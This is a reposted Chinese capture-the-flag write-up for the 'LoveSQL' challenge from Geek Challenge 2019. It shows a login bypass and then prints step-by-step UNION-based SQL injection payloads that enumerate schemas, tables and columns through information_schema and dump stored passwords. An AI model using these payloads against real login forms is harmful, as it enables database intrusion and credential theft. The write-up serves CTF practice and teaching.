码迷,mamicode.com
首页 > 数据库 > 详细

[极客大挑战 2019]LoveSQL

时间:2020-01-27 22:08:21      阅读:221      评论:0      收藏:0      [点我收藏+]

标签:pass   数据表   strong   info   word   for   过滤   col   amp   

0x00 知识点

1:万能密码登陆
2:登陆后直接使用联合查询注入

0x01解题

登陆后进行简单测试发现是字符型注入
order by 测试数据库有多少字段
技术图片

发现在4的时候报错,没有过滤,直接进行注入
注入数据库:

admin'union+select+1,2,group_concat(schema_name)+from+information_schema.schemata#

查询数据表

username=admin&password=admin‘%20union%20select%201%2C2%2Cgroup_concat(table_name)%20from%20information_schema.tables%20where%20table_schema%3Ddatabase()%20%23技术图片

查询数据表中的列:

username=admin&password=admin%27%20union%20select%201%2C2%2Cgroup_concat(column_name)%20from%20information_schema.columns%20where%20table_schema%3Ddatabase()%20%23技术图片

查询数据

username=admin&password=admin‘%20union%20select%201%2C2%2Cgroup_concat(password)%20from%20l0ve1ysq1%23技术图片

查看源代码得到flag.

[极客大挑战 2019]LoveSQL

标签:pass   数据表   strong   info   word   for   过滤   col   amp   

原文地址:https://www.cnblogs.com/wangtanzhi/p/12236768.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!